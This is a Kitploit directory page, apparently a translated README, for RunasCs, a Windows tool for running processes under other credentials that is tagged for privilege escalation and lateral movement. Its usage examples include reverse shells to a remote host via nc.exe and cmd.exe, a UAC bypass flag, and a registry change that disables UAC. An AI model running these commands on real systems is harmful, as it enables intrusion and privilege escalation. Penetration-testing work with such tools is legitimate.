Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/antoniococo/runascs
Privilege EscalationImpersonation ToolsLateral MovementPost-ExploitationPenetration TestingRed Teaming
GitHubantoniococo/runascs

RunasCs

RunasCs - Csharp and open version of windows builtin runas.exe

عرض المستودع
1.4k161منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

RunasCs


RunasCs هي أداة مساعدة لتشغيل عمليات محددة بصلاحيات مختلفة عن تلك التي يوفرها تسجيل الدخول الحالي للمستخدم، وذلك باستخدام بيانات اعتماد صريحة. هذه الأداة هي نسخة محسّنة ومفتوحة المصدر من الأداة المدمجة في ويندوز runas.exe وتحل بعض القيود:

  • تتيح بيانات اعتماد صريحة
  • تعمل سواء تم استدعاؤها من عملية تفاعلية أو من عملية خدمة
  • تدير بشكل صحيح DACL لكل من Window Stations وDesktop من أجل إنشاء العملية الجديدة
  • تستخدم دوال إنشاء عمليات أكثر موثوقية مثل CreateProcessAsUser() وCreateProcessWithTokenW() إذا كانت العملية المستدعية تمتلك الصلاحيات المطلوبة (اكتشاف تلقائي)
  • تتيح تحديد نوع تسجيل الدخول، مثل تسجيل دخول 8-NetworkCleartext (بدون قيود UAC)
  • تتيح تجاوز UAC عند معرفة كلمة مرور المسؤول (العلم --bypass-uac)
  • تتيح إنشاء عملية يكون فيها الخيط الرئيسي منتحلاً هوية المستخدم المطلوب (العلم --remote-impersonation)
  • تتيح إعادة توجيه stdin وstdout وstderr إلى مضيف بعيد
  • إنها مفتوحة المصدر :)

RunasCs مزوّدة باكتشاف تلقائي لتحديد أفضل دالة إنشاء عملية لكل سياق. استنادًا إلى صلاحيات رمز (token) العملية المستدعية، ستستخدم واحدة من دوال إنشاء العملية بالترتيب المفضّل التالي:

  1. CreateProcessAsUserW()
  2. CreateProcessWithTokenW()
  3. CreateProcessWithLogonW()

المتطلبات


.NET Framework >= 2.0

الاستخدام


root@kitploit:~
RunasCs v1.5 - @splinter_code

Usage:
    RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]

Description:
    RunasCs is an utility to run specific processes under a different user account
    by specifying explicit credentials. In contrast to the default runas.exe command
    it supports different logon types and CreateProcess* functions to be used, depending
    on your current permissions. Furthermore it allows input/output redirection (even
    to remote hosts) and you can specify the password directly on the command line.

Positional arguments:
    username                username of the user
    password                password of the user
    cmd                     commandline for the process

Optional arguments:
    -d, --domain domain
                            domain of the user, if in a domain.
                            Default: ""
    -f, --function create_process_function
                            CreateProcess function to use. When not specified
                            RunasCs determines an appropriate CreateProcess
                            function automatically according to your privileges.
                            0 - CreateProcessAsUserW
                            1 - CreateProcessWithTokenW
                            2 - CreateProcessWithLogonW
    -l, --logon-type logon_type
                            the logon type for the token of the new process.
                            Default: "2" - Interactive
    -t, --timeout process_timeout
                            the waiting time (in ms) for the created process.
                            This will halt RunasCs until the spawned process
                            ends and sent the output back to the caller.
                            If you set 0 no output will be retrieved and a
                            background process will be created.
                            Default: "120000"
    -r, --remote host:port
                            redirect stdin, stdout and stderr to a remote host.
                            Using this option sets the process_timeout to 0.
    -p, --force-profile
                            force the creation of the user profile on the machine.
                            This will ensure the process will have the
                            environment variables correctly set.
                            WARNING: If non-existent, it creates the user profile
                            directory in the C:\Users folder.
    -b, --bypass-uac
                            try a UAC bypass to spawn a process without
                            token limitations (not filtered).
    -i, --remote-impersonation
                            spawn a new process and assign the token of the
                            logged on user to the main thread.

Examples:
    Run a command as a local user
        RunasCs.exe user1 password1 "cmd /c whoami /all"
    Run a command as a domain user and logon type as NetworkCleartext (8)
        RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
    Run a background process as a local user,
        RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
    Redirect stdin, stdout and stderr of the specified command to a remote host
        RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
    Run a command simulating the /netonly flag of runas.exe
        RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9
    Run a command as an Administrator bypassing UAC
        RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac
    Run a command as an Administrator through remote impersonation
        RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation

تتواصل العمليتان (المستدعية والمستدعاة) عبر pipe واحدة (لكل من stdout وstderr). نوع تسجيل الدخول الافتراضي هو 2 (Interactive).

افتراضيًا، يكون نوع تسجيل الدخول Interactive (2) مقيدًا بواسطة UAC ويتم ترشيح الرمز المميز (token) الناتج عن عمليات المصادقة هذه. يمكنك جعل تسجيل الدخول التفاعلي دون أي قيود عن طريق تعيين مفتاح التسجيل التالي إلى 0 وإعادة تشغيل الخادم:

root@kitploit:~
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

بخلاف ذلك، يمكنك تجربة العلامة --bypass-uac كمحاولة لتجاوز قيود ترشيح الرمز (token filtering).

نوع تسجيل الدخول NetworkCleartext (8) هو الأكثر صلاحيات لأنه لا يخضع للترشيح بواسطة UAC في الرموز المحلية ويظل يسمح بالمصادقات عبر الشبكة لأنه يخزن بيانات الاعتماد في حزمة المصادقة. إذا كنت تمتلك صلاحيات كافية، فحاول دائمًا تحديد نوع تسجيل الدخول هذا عبر العلامة --logon-type 8.

افتراضيًا، ستنتظر العملية المستدعية (RunasCs) حتى نهاية تنفيذ العملية التي تم إنشاؤها. إذا كنت بحاجة إلى إنشاء عملية في الخلفية أو عملية غير متزامنة، أي إنشاء reverse shell، فستحتاج إلى تعيين المعامل -t timeout إلى 0. في هذه الحالة، لن ينتظر RunasCs نهاية تنفيذ العملية المنشأة حديثًا.

المراجع


  • البطاطس والرموز
  • بدء عملية عميل تفاعلية في C++
  • إنشاء عملية فرعية مع إعادة توجيه الإدخال والإخراج
  • الخدمات التفاعلية
  • ما قصة خطأ "The application failed to initialize properly (0xc0000142)"؟
  • الحصول على قشرة (Shell) لحساب خدمة تفاعلي
  • قراءة طريقك حول UAC (الجزء 1)
  • قراءة طريقك حول UAC (الجزء 2)
  • قراءة طريقك حول UAC (الجزء 3)
  • Vanara - مجموعة من مكتبات .NET لنظام Windows تنفّذ استدعاءات PInvoke للعديد من واجهات برمجة تطبيقات Windows الأصلية مع أغلفة داعمة

الاعتمادات


  • @decoder
  • @qtc-de
  • @winlogon0
تنزيل الأداة